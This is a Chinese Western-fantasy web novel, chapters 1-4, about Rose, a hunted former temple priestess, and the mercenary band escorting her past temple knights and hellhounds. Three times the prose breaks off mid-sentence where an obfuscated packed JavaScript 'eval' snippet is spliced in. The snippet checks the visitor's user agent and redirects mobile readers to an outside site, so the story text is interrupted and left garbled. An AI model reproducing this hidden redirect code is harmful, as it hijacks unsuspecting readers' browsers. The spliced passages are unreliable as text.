《吸血鬼城三十三天[西幻]》 1. 第 1 章 风雨中，一匹黑马踏着夜色而来。 夜色沉沉，叫人几乎看不见马背上趴着的小小身影。 黑色斗篷遮盖了萝丝烈火一般的红发，遮盖了她的眉眼，只露出精致却苍白的下半张脸。她喘息着，脸上汗水混着雨水。 尽管黑马已经跑得很快了，寒风卷着冰凉的雨滴打在她脸上身上，她却像感受不到一般仍不停地催促黑马再快一些。 终于，在这样不知疲倦的奔波下，前方的地平线上出现了一抹暖橘色的灯光。 “石墙”酒馆就这么孤零零地伫立在路边，前不着村，后不着店，给在漫漫长路上奔波得疲惫不堪的旅人提供一个栖身之所。 现在已然半夜，大多数客人都回到了二楼的客房休息，一楼坐着喝酒的人寥寥无几。 所以，萝丝刚推开门，就吸引了不少好奇的目光。这些目光从她黏在额头上的几绺湿漉漉的红发上扫过，掠过朴素却面料不菲的斗篷，又经过斗篷下摆被撑起的部分——显然，那是一把剑。 其他人看到这里也能意识到这不是位好惹的主，纷纷收回目光。 只有一个人还在肆无忌惮地打量她。萝丝顺着目光看过去，只见角落里的一张桌边围坐着六个人。 五个男人，一个女人。 他们都身材高大，体格健硕，披着带兜帽的斗篷，斗篷之下露出皮甲的边角和裹着布条的长条状物体。其中一个男人下半张脸带着黑色皮革面具，使他露出的一双金瞳更为慑人。 正是他，肆无忌惮地打量着萝丝，几乎带着傲慢的神情。 萝丝犹豫了一下，原本平复下来的心率又升高了。若不是身后还有追兵，她实在是不想一个人和这群人打交道。 “那个……请问，你们是‘野火’小队吗？” 六个人此时都抬起了头盯着她。那个女人一甩头发：“是，我们是。你就是我们的雇主？” “是，是我。” “我怎么记得雇我们的是个男人？”金瞳男人突然开口，“而且他发布的任务是保护商队。” “你说的是彼得吗？抱歉，他……我们原本是有车队的，但路上遭到了强盗的袭击，他和其他人都受了伤，就让我先赶过来了。” “没关系，”女人冲她笑了笑，“这样我们反而轻松了一些。当然，价格是一样的。” “嗯，我知道。每人三枚金币对吗？” “对。事成之前，先付一半。你们已经交过每人一镑的定金，再付一枚金币就好。” “好、好的。” 萝丝有些手忙脚乱地掏出钱袋，数出六枚金币递给女人。 女人分发完金币，随意地抓过萝丝的手握了握：“初次见面，我是薇薇安·艾肯，‘野火’小队的队长。你可以叫我薇薇安，也可以像他们一样叫我大姐头。”她不着痕迹地打量了萝丝几眼，“所以，你需要我们去做些什么？” “你好，我叫萝丝。我要去阿德玛城，路上途经伊奇亚城，沿着罗伦斯山脉向南。你们只要沿途护送我就好，可以吗？” 薇薇安不禁笑了：“当然。你付了钱，你就是老大。所以，现在出发吗？” 七匹马在夜色中奔驰。 此时雨势稍歇，风却更大了。 狂风拍在萝丝脸上，她却无暇顾及，一边辨认着前方的道路，一边伸手按住被风吹得向后滑去的兜帽，一边还要时不时回头看向渺远的来路，确认后面没有其他人。 就在这时，金瞳男人忽然催马赶了上来，与萝丝并马而行。 萝丝身量小体重轻，为了防止自己被甩下去，只能整个人伏在马背上，手紧紧地攥着缰绳。 而金瞳男人却只是微微向前倾身，便能稳坐在奔驰的马背上，一双长腿闲适地夹住马腹。对比之下，萝丝觉得自己骑马的姿势建筑称得上是“狼狈不堪”。 萝丝有些气闷，索性选择不看他，直直盯着前方的夜路。男人也没有说话，看着前方面无表情。 “你在害怕。” 突然，男人开口了，用的还是陈述句。没等萝丝说话，他又补充道：“后面有人在追你。他们是什么人？” 风声从耳边刮过，吹得萝丝的声音都有些底气不足：“……是之前的，强盗。” 金瞳男人转过脸，直直地看着她：“强盗？哪里的强盗？他们打扮成什么样子，有多少人，装备如何？” “抱歉，我……我不记得了。” 男人依旧盯着她。过了好秒分钟，他才转过身去，耸耸肩：“无所谓。反正，如果很危险的话，得加钱。” “……好的。” 她听到金瞳男人似乎笑了一声，放松了缰绳，慢慢落后到队尾去了。 夜色渐浓，几乎看不清前路。 雨依旧在下。经过几乎一天一夜的奔跑，萝丝感到自己的马已经有些疲惫。她俯下身轻轻拍了拍黑马的脖子，小声安抚道：“没事……勃鲁，马上就到了……” 勃鲁似乎听懂了萝丝的话，一甩脖子，跑得更快了些。 雇佣兵小队也催马赶上。突然，在跑过一个弯口时，队伍中传来一声嘶鸣，随即是惊呼声。 “怎么了？” 萝丝赶紧勒住马回过头，看见一匹黄色大马有些惊恐地原地跺着脚，鼻子里不住地喷着气。 马的主人是个大块头，他赶忙下马，一边安抚它，一边满脸尴尬地向薇薇安解释道：“她踩到水坑里了，差点摔倒。” 薇薇安点点头表示理解，又看了眼前方的路。 自前方起，一条小径从大路中分出，延伸进入一片黑黢黢的森林里。而大路也变窄了些，看上去没有那么好走。 她驱马来到萝丝身边，问道：“接下来，你打算怎么走？” 萝丝皱了皱眉：“其实走森林小路更近一点，但是……” “但是现在天太黑了，再这样高速前进容易受伤。”薇薇安试着向前眺望，但即使像她一样拥有出色的夜视能力，也依旧看不清前方的路况。再加上雨幕模糊了视线，使得前方看起来更加叵测难料了。 “如果你有什么担心的话，我们可以先进入森林休整一会儿，等到黎明天亮再往前走，应该刚好可以赶上开城门的时间到达伊奇亚。而且，森林里不容易被发现，我们可以放心休息。如何？” 萝丝仍皱着眉，有些犹豫。 其实，她顾虑的不仅仅是森林的黑暗，更让她担心的是，魔犬在森林里的战斗能力会不会变得更高。 不过眼下的确也没有更好的选择，再执意向前走，不但可能发生更多意外，而且也走不了多远。 “那，我们就进森林吧。我们可以偏离小路走得深入一点，然后再安定下来休息，可以吗？” “嗯，”薇薇安做了个手势，大家又重新上马，“走吧。” 进入森林后，雇佣兵们立刻下马，四散开把萝丝保护在中间，并小心地避免留下过于明显的脚印，留下一些几乎难以察觉的记号。 他们不断地向森林深处前进，直到看不见小路了，薇薇安才停下来：“就这里吧。” 其他人立刻停下来，把马栓好，或坐或靠在树边闭目养神。薇薇安简单地和金瞳男人交代了一下守夜的安排，便也走到一边坐下休息了。 萝丝看见这些人听到薇薇安的命令后如此服从且整齐划一，展示出了高度的“专业素养”，不由得心里稍微安心了些。随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992436|137137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即又感到些许奇妙的孤独感，想到因为受伤不得不留在原地的同伴，心里隐隐的有些担忧。 不，现在不是考虑这个的时候。 萝丝甩甩头，把消极的想法从脑海中赶走。这个时候就应该做点什么来改善现状，而不是坐在原地胡思乱想。 可是，现在她既不能用荧光术照明来查看地图，也没有什么情报可以梳理。她闭目养神了一会儿，又睡不着。 四下张望时，她看见那个大块头男人正在抚摸着自己的马，而那匹马则低着头，慢慢地啃着地面的草。 萝丝拍掉裙子上的草屑，小心地走过去：“先生，你需要帮助吗？” 男人看过来，她解释道：“我知道一点兽医的知识，也带了些草药，如果你同意的话，我可以给你的马检查一下有没有受伤。” 大块头男人看着她。虽然萝丝也不知道这么黑灯瞎火的他能看得清什么，但男人却仿佛确认了什么似的让开，让她可以近距离检查那匹马。 “我，凯里。”男人指指自己，又指指自己的马，“它，小希。” “嗯，你好凯里！”萝丝又转向黄色的高头大马，“你好小希！” 小希抬起头，蹭了蹭萝丝的脸。萝丝不禁笑了起来，轻轻抚摸着小希柔顺的鬃毛，夸赞道：“小希，你很漂亮。” 小希喷了喷鼻子，又把另一边的脸蹭过来让萝丝抚摸。凯里轻轻笑了，听起来十分自豪：“那当然，小希是我们整个村子里最漂亮的姑娘。她是冷血马，但是聪明的很。对不对，小希？” 趁着凯里对着小希说话的功夫，萝丝俯下身，找到了小希踩进水坑的那条前腿。 她用手掌轻轻按压着马腿一寸寸往下，直按到某一块肌肉时，小希突然不安起来，小幅度跳动着。 凯里刚想把小希按住，却听见萝丝呢喃起一些晦涩拗口的语句来。他听不懂，却觉得莫名令人平静，渐渐地，小希也平静下来。 “好了！就是这里，”萝丝把小希左前腿膝盖上方的一处指给凯里看，又从腰间的小口袋里取出几根风干的草药，“每天一次，把这些草药在酒里捣碎了敷在这里。小希是个强壮的姑娘，应该过几天就好了。这些你先拿着，不够了再找我要就行。” 凯里接过草药，一时有些不知所措。他开口，笨拙地组织着道谢的词句，却被一个突如其来的声音打断：“你会精灵语？” 萝丝直起身子，掩饰不住惊讶：“你听得懂精灵语？” “猜的。听到这些叽里咕噜的句子我一般都会猜是精灵语。” “……” 金瞳男人不理会萝丝的无语，耸了耸肩：“一个佩剑，穿着羊毛斗篷，会说精灵语的女孩，为什么会在这个时候雇佣一整只小队，抱头鼠窜地躲避追兵呢？”他像是在问话，又像在自言自语，“我本以为你是离家出走的富家小姐，现在看起来，你倒是更像通缉犯。” 萝丝不自觉地绷紧了脊背。在她背后看不到的地方，凯里向金瞳男人轻轻摇了摇头。 金瞳男人再次耸了耸肩：“好吧，我的确不应该追着雇主问这问那，不过，你至少应该告诉我们要面对的敌人是什么人。我可不想莫名其妙的就丢了性命，对吧，凯里？” 凯里显出为难的神色，刚要回答，却听见小径方向传来嘈杂的人声、野兽咆哮声和马蹄声。 “她就在这里！” “还有其他人！” “放魔犬！别让他们跑了！” “抓活口！” 所有人立即起身拔出武器看向小径方向。 高高举起的火把一瞬间迷了人的眼，下一刻，三只高达两米的巨犬滴着腥臭的口水，咆哮着扑了过来！ 2. 第 2 章 身经百战的雇佣兵们迅速反应过来，一面迅速后撤拉开距离一面往火枪中填弹。萝丝跑得慢，被薇薇安拖着后退，显得十分狼狈。 但危险的远不只有魔犬。 火把、魔灯的光亮随着人声嘈杂瞬间涌入森林，原本黑暗的掩护立刻荡然无存，雇佣兵们暴露在光亮之下。 魔犬身后，全副武装的神殿骑士端起长枪，白袍神官开始吟唱。 “小心！” 白炽的光团向着金瞳男人飞去，电光火石间，萝丝的指尖爆发出同样的光团向其撞去。 光团相撞，爆发出炫目的光彩，让几乎所有人都眼前一花。而与此同时，薇薇安听见耳边萝丝低语道：“我去引开那些人，你们帮我拖住两条地狱犬，好吗？” 薇薇安下意识点头，眼前白光散去，魔犬腥臭的大嘴近在眼前。 她想也没想，端起枪射击，眼角余光瞥见萝丝呼喊着向另一个方向跑去，还差点被树根绊了一跤。 能行吗？ 魔犬扑上来，薇薇安拔出重剑架在尖利肮脏的犬牙之间。 萝丝在树林间奔跑着，一边大口喘息，一边不时回头确认神殿骑士们有没有跟上。 忽然间，她意识到原本有八个的神殿骑士看起来似乎少了几人，心中一惊停下脚步。 不出所料，前方的树木后白影一闪，几名圣殿骑士骑着马慢慢向她逼近。 不止前方，还有左边、右边。 而包围圈之外，一名白袍神官站在远处，手中法杖对准她的方向。 她被包围了。 萝丝眼光一扫就想明白了，他们还是想故技重施，先切割她和同伴，再利用骑士抗揍的特性拖住她，好配合牧师施法封印她的魔力。 想明白之后，萝丝出奇地冷静了下来，吐出一口气。 原先十二个人拦不住她，那么八个人也是同理。 萝丝拔出剑，神殿骑士举起枪，对准她，逐渐向前收拢包围圈。远处的牧师们似乎还想喊话，萝丝没给他机会。 剑锋挥砍，光刃随着剑势向前方的神殿骑士飞去。 三名骑士将长枪架在一处，魔力屏障立时生成挡下一击。 趁此机会，萝丝反身以剑为媒介施法，剑尖一抖，几名骑士身后顿时出现一道巨大的光门。其中，一只巨掌伸出，排向几名骑士！ 几名骑士当即向两边散开，巨掌拍在地面上，造成一个巨坑，连地面都跟着颤了几颤。一个骑士的白马受了惊，前蹄高高抬起仰头嘶鸣。骑士重心不稳赶忙勒紧缰绳。原本严密的包围圈出现了一个破口。 机会！ 萝丝向着扬起的马蹄冲过去，借着身材矮小的优势从马腹下钻了过去，反手一剑刺在马的侧腹上。血花爆出，白马哀鸣着倒下，马背上的骑士也被甩了出去。 萝丝趁机向前狂奔。 还没跑出几步，脚边的土地中钻出几根圣光荆棘缠住她脚踝。 是那个神官！ 荆棘感应到猎物的存在，魔力暴涨。几根尖刺破开了萝丝的魔力屏障，将娇嫩的脚踝刺出几个血洞。 萝丝吃痛，拔出脚挥剑斩断荆棘，下一秒，追上来的骑士的长枪已近在咫尺。 珰——！ 迅捷剑和长枪碰在一处，金石之声震荡开来。萝丝被震得倒退了好几步，用剑才勉强撑住身体。如果这把剑不是刻有魔力回路，恐怕早就被撞断了。 不给她喘息的机会，为首的骑士手中长枪已经向她扑来。远处的神官也同时张开双手，数个光弹一齐发射。 趁着这个时间，剩下的几名骑士将长枪架在一处，口中呢喃起神圣的咒文。 萝丝赶忙左手张开五指凝出光盾护在身前，几枚光弹却绕过了光盾继续向她飞过来，角度刁钻，快如闪电，萝丝根本没有反应的机会。 远处的神官已经露出了得胜的表情，却不料下一秒，那些光弹就像被黏住了一般，速度骤减，最后竟悬停在空中，不能再向前一步。 怎么会？ 神官眼中都浮现出诧异的神色。萝丝忍不住一笑，右手持剑一挥，光弹立刻折返，向着吟唱中的骑士扑去！ 这可是她发明的招式！ 法阵破碎，骑士们驾马四散开躲避光弹，却被可以追踪的光弹赶得左支右绌。 为首的骑士心知不好，想撤回长枪，却来不及了。萝丝五指骤然发力向虚空中抓握，光盾爆开，巨大的冲击力一下子将骑士手中长枪震飞。 萝丝一甩手中剑，一层光焰覆上剑身。背后，则是数十支光箭蓄势待发。 刹那间，几名骑士心头涌上一阵震悚，仿佛看见手持火焰箭的天使降临于世。 直到萝丝挥剑袭来，他们才如梦初醒，再次与萝丝碰撞在一处。四周掀起狂风巨浪。 魔犬脚掌被钉在地面无法向前，只能死死咬住薇薇安的枪管。殊不知，这加速了它的死亡。 薇薇安猛扣扳机，第三下，魔犬的后脑便炸裂开，红白混杂的浆液喷出，皮肉翻飞。按着魔犬的金瞳男人相当嫌弃地连退几步，薇薇安也拔出枪管退开，失去支撑的魔犬当即一声不吭地倒下了。 “怎么样？凯里，艾尔，艾伦，你们都没事吧？约瑟夫呢？他找到萝丝了吗？” “找到了，大姐头。在这个方向。她还在战斗，没有输。” “很好。凯里，艾尔，你们留下来包扎顺便把马找回来。其他人，跟我走！” 约瑟夫举起火把在前面带路，几人重新装填好枪弹，跟着他向着萝丝所在的方向跑去。 “三只魔犬，八个骑士，一个神官。” 金瞳男人奔跑中来到薇薇安身边，说道。薇薇安侧头看了他一眼：“来了差不多一个神殿，对吧？” 男人点头。一座神殿可以豢养的骑士很多，但只有其中最出色的十二人才能披上白袍白甲，被称作神殿骑士。 这些佼佼者中的佼佼者，不仅精通各种战斗方式，同时也拥有出色的魔力，能以特制的长枪为媒介施法战斗。为了抓住这个叫萝丝的小女孩，地方神殿出动了一半以上的力量，而这个女孩似乎还不落下风。她究竟是什么来头？ “我们不能打探雇主的隐私。”薇薇安听懂了男人的意思，警告道。 “我明白。”他顿了顿，生硬地岔开话题，“这帮神殿杂种都有身上都有魔力屏障，老规矩？” 看得出来男人没有放弃探究的想法，但现在也不是纠缠这个的时候。薇薇安点头：“老规矩。” 经过一场恶斗，树林中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992437|137137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已被硬生生地开辟出一块空地。粗大的树干横七竖八地倒在地上，树身上满是可怖的深痕。四周的土地上布满裂纹、深坑与翻出来的新土，像是被粗暴地犁了一遍一般。 萝丝喘了口气，再度召唤光箭，却感觉眼前一阵阵发黑。她咬牙，强行催动魔力，硬生生从空气中撕扯出几支光剑来。 站着的还剩下三个骑士。那个神官的法杖被她打爆后就不知道躲到哪里去了。 这个战绩，应该也算还可以了吧？ 她实在是感觉自己要撑不下去了。 若是在以往，这种程度的战斗甚至不会让她受伤。但现在，她身上挂了好几处彩，为了节省魔力，她连治愈术也舍不得用。 上一场战斗隔得太近了，她的魔力还没有完全恢复。而且，上一次她还有两个伙伴陪在身边，而这一次是由她一个人面对大半个神殿的力量。 想到同伴，萝丝不由得又微微一笑，精疲力竭的手臂再次举起剑迎向长枪。突然，枪声破空而来，她看见眼前骑士的身形一滞。 那是几乎重叠的三声枪响。薇薇安先开枪，子弹在光洁的白甲上留下凹痕。紧随其后的另外两枝枪从不同的方位发射出子弹，准确地射在了同一个位置。 咔吧、咔，啪——！ 神殿骑士的板甲爆裂，碎片飞溅，映出所有人震惊的神色。 萝丝迅速反应过来，一转手腕，数支光箭融合成一根巨大的箭矢。巨箭蕴含着的强大魔力一瞬间击破了骑士身上的魔力屏障，穿透他的右胸。 高大的骑士直挺挺地倒下了。另外两个骑士环顾四周，才发现自己竟然已经成为了被包围的人。 有了雇佣兵们的加入，两名骑士也迅速被放倒。萝丝看着雇佣兵枪口飘散的硝烟，露出一个微笑：“你们，来了啊。” 金瞳男人翻了个白眼：“不然呢？你以为你雇我们来是为了陪你玩过家家吗？这就是雇佣兵的职——你怎么了？” 只见萝丝整个人直挺挺地向前跪了下去，手中剑插进地里才勉强稳住身形。 薇薇安赶忙大步向她走去，忙着搜刮神殿骑士身上财物的其他雇佣兵也停下手，看向她。 “萝丝？萝丝，你还好吗？” 萝丝对于她的问题也毫无反应，薇薇安单膝跪下，低下头，却还是看不见她的表情。 薇薇安索性直接抬手轻触她肩膀。这下总算是得到了回应：萝丝连人带剑往前一栽，整个人倒在她怀里。 “她怎么了？”金瞳男人走到薇薇安身边。 薇薇安探了探萝丝的鼻息，不自觉地松了口气：“没事，只是晕过去了。” 金瞳男人点点头，随即又摇摇头：“她也太小瞧我们了。” “嘁，少说大话。没有她引走这些人，我们都活不到这个时候……啊，天亮了。” 最黑暗的时刻已过，黎明的微光穿透枝叶，洒在萝丝火一般的红发上。 森林中的一切都逐渐明亮起来，黑夜中看起来如鬼魅般的暗影此刻显露出真容，原来不过是藤蔓和枯枝而已。凯里和艾尔牵着七匹马走来和大家汇合，艾伦想把战利品分成七堆却被薇薇安叫停。 “等她醒来，让她先选。”她抱着萝丝，站起身，“现在，出发。去伊奇亚城。” 3. 第 3 章 萝丝醒来，立马撑着手臂坐起，顿感眼前一花。 晕眩感再次袭来，她紧紧闭上眼，过了许久再睁开，眼前世界方才恢复清明。薇薇安正站在她面前，递过来一杯水：“好点了吗？” “谢谢……还行。” 萝丝喝完水，下意识地找手帕，又反应过来，用手背抹抹嘴。“现在是什么时候？我们现在是在伊奇亚城吗？” “是。放心，刚刚才敲过上午十二点的钟，还早着呢。接下来你打算怎么办？” 萝丝低下头，看着手里的水杯：“抱歉，昨晚连累你们了……你们有受伤吗？” “一点皮外伤而已，我们还找到了不少战利品呢。”薇薇安摇摇头，笑了，“索恩——就是那个金眼睛的家伙——说的没错，我们本来就是卖命换钱的人，为了雇主战斗是我们的职责，你不必为此道歉。放心，如果我们觉得太危险了，我们会让你加钱的。” “嗯，谢谢你。” 萝丝用指腹摩挲过杯沿，过了一会儿又说道：“昨晚追我的是梅林德地方神殿的神殿骑士，袭击了我和我的同伴的也是他们。上一次他们出动了十二人，被我们打伤了五个，剩下的被击退了。这次只出动了九个人，应该是神殿仅存的有生力量。现在，地方神殿已经没有能力继续追捕我们了，而从其他神殿抽调人手又来不及，所以我们可以修整半天再上路。” “好。我去通知他们。对了，我们的战利品也有你一份。东西在我的房间里，你可以自己去挑。” 薇薇安说着，起身向门边走去。萝丝诧异于她的干脆，愣了一下，低声道：“你不问我更多了吗？” “没必要。对于雇佣兵而言，雇主是谁都无所谓，我也不想打探你的隐私。至于索恩说的那些话，别放在心上就好。他曾经受到过神殿的迫害，所以对这些事很敏感。但别担心，他人不坏，而且收钱办事，”薇薇安偏头一笑，“这是雇佣兵最大的美德。” 萝丝感激地笑了：“谢谢。” 薇薇安点头，关上门。 “你很关心她。” 薇薇安刚关上门，就看见索恩倚在墙边，抽着一支烟卷。摘了面具之后，他那股狠戾慑人的劲儿消了大半，看起来也年轻了不少。 “她让你想到你的妹妹们了吗？” “谢谢你索恩，你还是一如既往的会说话。不过，恕我直言，你为什么对她这么感兴趣？” 不理会薇薇安语气中的揶揄，索恩淡淡地吐了口烟圈，若有所思：“她看起来很眼熟。” “你们以前在什么宴会上见过？ “不是。不是那种眼熟。”索恩皱起眉，似乎在回忆。许久，他眉头一松，“算了。不过，薇薇安，我必须说清楚。如果她是神职人员的话，我会退出这一单。” “即使这意味着不再是我们小队的一员？” “是的。”索恩的神色罕见的凝重。薇薇安点点头：“我明白了。不过，还是先走一步看一步吧。我打算去黑市补充点装备，一起吗？” “行。” 萝丝又在床上躺了一会儿，等到头晕目眩的感觉完全消退了，才收拾好东西下床，来到薇薇安的房间。 推开门，房间正中央地板上放着一个青铜三角锥，腰部镂空，中央悬浮着一只眼球。 看见萝丝进来，眼球一下子翻过来看着她，盯了她几秒，又无所事事地看向了另一边。 这应该是个监视装置，充当防盗工具用。 见它没有对自己感兴趣的样子，萝丝也就没有管这个小东西，跨过它向里面走去。 薇薇安的床上摊开了一块毯子，上面摆着各种物品，萝丝一眼就认出了上面神殿的蔷薇纹圣徽。果然是战利品啊…… 看得出来，雇佣兵们也是把能拿的都拿走了，这堆战力品中甚至还有一块完整的胸甲和两个略微受损的头盔，还有一盏小巧的魔灯。其他的无外乎一些魔法石、枪尖、金币等等。萝丝随手翻了翻，没有看到什么很感兴趣的东西。 也不好辜负了薇薇安的好意，萝丝想。她最后挑了一把精巧的小左轮手枪，别在了腰带上。她的枪术课也曾获得过A级的评分，用这个小左轮防身还是不在话下……的吧？ 离开住宿的旅店，萝丝在城市里转了几圈，终于找到了另一家“石墙”酒馆。 她走进去要了一杯淡啤酒，并向酒保出示了一枚刻着宫廷小丑纹饰的戒指。酒保没说什么，收了她三便士，将她带进了吧台后的一间暗室。 暗室中，一个身披黑袍的男人正在魔灯灯光下研读一卷羊皮纸。见到萝丝进来，他一愣，立马起身行礼：“萝丝大人。” “都说了不用这么叫我啦。”萝丝摆摆手，两人坐下。黑袍男人给萝丝倒了杯茶，萝丝抿了一口，问道：“你们有收到彼得和玛丽安的消息吗？” “有一些，但聊胜于无。目前他们还在梅林德反叛军分部的照料下养伤，很安全。但也只知道这么多了。自从梅林德分部的据点被捣毁过一次后，我们的通讯就少了很多。” 萝丝点头：“我明白。只是，我们原本准备的物资也被丢在了那边，有什么办法再筹集一批吗？我还有足够的钱。” “但，眼下边境上还在打仗，短时间内再凑出一批物资恐怕十分困难。”男人露出为难的神色。不等他再说什么，萝丝便点了点头：“好吧，我明白了。不用勉强。即使没有那些物资，我也会成功的。” “可是……我听说，您的身体……” 萝丝沉默了。 男人的担心有道理。自从她被神殿废黜了大祭司一职后——不，比那更早，她便开始出现魔力流失的情况，而且一天比一天严重。 曾经，她的魔力取之无尽用之不竭，随手释放的光爆术可以照亮方圆千米内的天空，即使面对一整支军队也有一战之力。而现在，她哪怕只是使用一些简单的魔法也会使魔力出现耗竭的风险，对付八个神殿骑士都成问题。 这在反叛军内部和神殿方面都已经不是秘密。 黑袍男人还想说点什么，萝丝摇头制止了他：“没关系，总会有办法的。” “您还是一定要进城吗？也许，我们可以考虑别的办法。” “不，我必须进城。阿德玛城的人们不能死于神罚，也不能死于黑死病。就算没有魔法，我还能调配魔药。这样，至少可以抑制黑死病吞噬更多人的生命。而且，我在城里也能更方便你们的行动，不是吗？” “您知道，这几乎是没有生路的决定……” “没关系，我不怕的。”萝丝抿唇，又展颜一笑，“好啦，别那么难过，我还没有出事呢。相信我，万一那天我的魔力回来了，所有的一切就都可以解决了。所以，不必为已失去的而哀叹，更不必杞人忧天。还是趁现在，多告诉我一些阿德玛地区的情报吧。” “是，萝丝大人。” “自由之心与您同在。” 黑袍男人用一声祝语将萝丝送出暗室。 她走出“石墙”，看见太阳已逐渐西沉。因为战争的缘故，伊奇亚实行宵禁制度，这个时候也临近城门关闭的时刻了，街上行人不多，小摊小贩们也收拾着东西准备回家。萝丝站在街上，看着一个个行色匆匆的人从自己身边经过，有些感慨。 这就是外面的世界。 外面的、鲜活的、真实平凡甚至有些不那么美好的世界。 她以前是看不到这些的。 自七岁起，她被神殿从贫民窟带走，就几乎没有离开过神殿。偶尔的几次，也是为了面见自己所谓的“继父”，她才能离开神殿，去往莫蒂默伯爵府上。 那里不过是另外一座神殿。 大神官告诉她，外面的世界是污浊的，是残酷野蛮的，所以她为了保持神殿女祭司的圣洁和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12992438|137137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完美，她不应涉足神殿之外的世界。 唯一被允许的，是高高坐在节日花车上，身穿白袍头戴花冠，为下方的人民念出祈福的咒语。可萝丝也知道那是不真实的。那时的民众都穿着好衣服，低头祈祷，默默无声。他们就像是大理石浮雕上的虔诚信徒，跪在神明脚下，看不见脸，发不出声。 可市井生活明明是嘈杂的，热络的。人们是妙语连珠的，形形色色的。 萝丝再次深深呼吸，闻见空气中黄油和猪肉汤的香气。 多么美好，她喜滋滋地想。 下一刻，喧哗和骚动声就从街道一头传来。 人群中尖叫声炸开，把萝丝吓了一跳。她抬眼望去，只见一个人骑着马不顾一切地向这边冲来！ 马上那人戴着半脸皮质面具，金瞳在黄昏中散发着光芒。是索恩！ 靠近了才发现，原来不止索恩一人。他身后，三四名全身着甲的骑士对他紧追不舍，身强体壮的骏马几乎占满了街道！ 人群纷纷不顾一切地向两边避让，转眼，只剩下萝丝一人呆呆地站在街边。 索恩靠近了，萝丝下意识地向前一步，还踮起了脚，索恩顺势抓住她的后领，一把把她整个人提到了马上。 “你干——” 索恩把一顶过大的帽子往她头上一扣，脚跟踢了踢马腹，马立刻一骑绝尘向前奔去。 萝丝只能紧紧抓住马鞍前沿，一手还得按住帽子。强风扑面刮来，萝丝一张口就被喂了一嘴灰尘。 “什么都别问，我们得现在出城！” 索恩的声音听起来有些紧张还凶狠。萝丝乖乖点头，眼角余光看见身后骑兵因为刚才索恩的减速又贴近了些。 她俯身抱住马脖子，低声呢喃了一句精灵语，马顿时像受到刺激一般速度猛地提升了一个档次。被拉近的距离眼看又逐渐拉开。 一个急转，索恩驾马冲上大路。 城门近在前方，而两人可以看到，城头的士兵已经开始收紧绞索，关闭城门！ 还有一百米！ 萝丝眼看城门逐渐合拢，心中发急。但身下的马儿已经到了极限，她只好以目光为引导向着城门默默施咒。 顿时，城门重量骤增，在土地上压出一道浅浅的凹痕，闭合的速度立马减缓了许多。 五十米！ 由于街上还有平民的存在，城头的士兵不能开弓放箭，只好临时让城脚下的士兵组成人墙试图拦住二人。 萝丝不敢移开目光，双眼定定地看向前方，双手撑开光盾隔开士兵的长矛与盾牌，硬生生从人墙中挤出一条通道。 二十五米！ 眩晕感再次席卷而来，萝丝额角开始冒汗，眼前发花。 突然马背一颠，萝丝差点被甩下去，索恩赶忙一把把她捞回来。但她的视线已然离开了城门，城门合拢的速度瞬间上升。 十五米，十米，五米…… 就在城门合拢到只有不到一米宽时，索恩纵马一跃，成功通过了城门。 身后，城门怦然合拢，将骑士的叫骂声阻隔在后。城头士兵倒是反应迅速地挽弓搭箭放出一阵箭雨，却被萝丝拼着最后一丝魔力展开光盾全数挡下。很快，二人跑出了弓箭的射程，而身后的追兵也因为开城门的功夫被远远甩在后面。 即使逃脱之后索恩也没有停下，而是驾着马一口气跑进森林。 绕过各种复杂的地形，他们来到一块林间空地上，“野火”小队的其他队员已在此等候。 索恩勒住马，拎起萝丝近乎粗暴地扔下马。萝丝趔趄了一下，被薇薇安扶住，一转身就看见索恩怒容满面，金瞳散发出可怖的光。 “这是什么？” 一纸通缉令被甩到她面前，纸张飘落间，她看见自己的名字和画像： 前中央神殿女神官，现通缉犯，萝丝·莫蒂默。赏金：100金币。 4. 第 4 章 再抬头，黑漆漆的枪口已经对准了她。 “解释。伟大的天才神官，莫蒂默伯爵侄女，萝丝?莫蒂默阁下，”索恩的的金瞳居高临下盯住她，“你为什么出现在这里，你去阿德玛的目的，你做过什么。说。” 萝丝张了张嘴，心跳得飞快。她转头看了看周围的其他人。他们全都沉默着站在原地，盯着她。 她明白，他们也想知道答案。 “说！”索恩拔高声调，重复了一遍。 “可是，我连发生了什么都不知道……” 还是薇薇安叹了口气，开口道：“我们听到路上的行人说，阿德玛出现了黑死病人。你在这个时间点要去阿德玛，又被神殿通缉，应该不是巧合。我们虽然是雇佣兵，但，事关一整座城的人的性命，我们也不想做助纣为虐的事。所以，我希望你能解释清楚。” “啊，原来已经进行到这一步了吗。”萝丝低语，暗自苦笑了一下，“放心，我本来迟早也是要说的。不过这个故事可能有一点点长，请允许我说完。” 